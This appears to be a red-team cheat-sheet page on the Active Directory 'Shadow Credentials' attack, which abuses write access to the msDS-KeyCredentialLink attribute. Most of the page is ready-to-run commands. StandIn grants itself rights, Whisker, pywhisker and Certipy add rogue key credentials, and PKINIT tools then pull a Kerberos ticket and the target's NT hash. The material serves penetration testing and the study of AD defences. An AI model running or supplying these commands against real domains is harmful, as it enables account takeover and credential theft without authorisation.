Key Credentials Abuse

"...if you can write to the msDS-KeyCredentialLink property of a user, you can retrieve the NT hash of that user." (Elad Shamir, ref)

That makes GenericWrite on a user effectively equal to DCSync right on that user.

Remember that WriteDacl != GenericWrite, so in order to modify msDS-KeyCredentialLink, obtain necessary privileges first. For example, using StandIn:

Cmd > Rubeus.exe createnetonly /program:cmd.exe /show /ticket:tgt.kirbi
Cmd > StandIn.exe --domain megacorp.local --object "samaccountname=snovvcrash" --grant "MEGACORP\jdoe" --type GenericAll

Check for existence of the msDS-KeyCredentialLink property in LDAP scheme with powerview.py:

PS > Get-DomainObject -SearchBase CN=Schema,CN=Configuration,DC=megacorp,DC=local -Properties lDAPDisplayName -Where "lDAPDisplayName contains msDS-KeyCredentialLink"

Whisker

• https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

• https://github.com/eladshamir/Whisker

List all the values of the the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe list /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local

Add a new value to the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe add /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local /path:C:\Temp\cert.pfx /password:Passw0rd!

Remove a value from the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe remove /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local /deviceid:00ff00ff-00ff-00ff-00ff-00ff00ff00ff

Clear all the values of the the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe clear /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local 

pywhisker

• https://github.com/ShutdownRepo/pywhisker
• https://podalirius.net/en/articles/parsing-the-msds-keycredentiallink-value-for-shadowcredentials-attack/

$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action list
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action add -f sqltest_cert
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action list
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action clear
$ python3 gettgtpkinit.py megacorp.local/sqltest -cert-pfx sqltest_cert.pfx -pfx-pass <PFX_PASS> sqltest.ccache
$ KRB5CCNAME=sqltest.ccache python3 getnthash.py megacorp.local/sqltest -key <AES_KEY>

Certipy

$ certipy shadow auto -u [e-mail] -k -no-pass -account sqltest -target DC01.megacorp.local -dc-ip 192.168.1.11 [-ns 192.168.1.11] [-dns-tcp]

Tools

• https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADKeyCredential.md
• https://github.com/RedTeamPentesting/keycred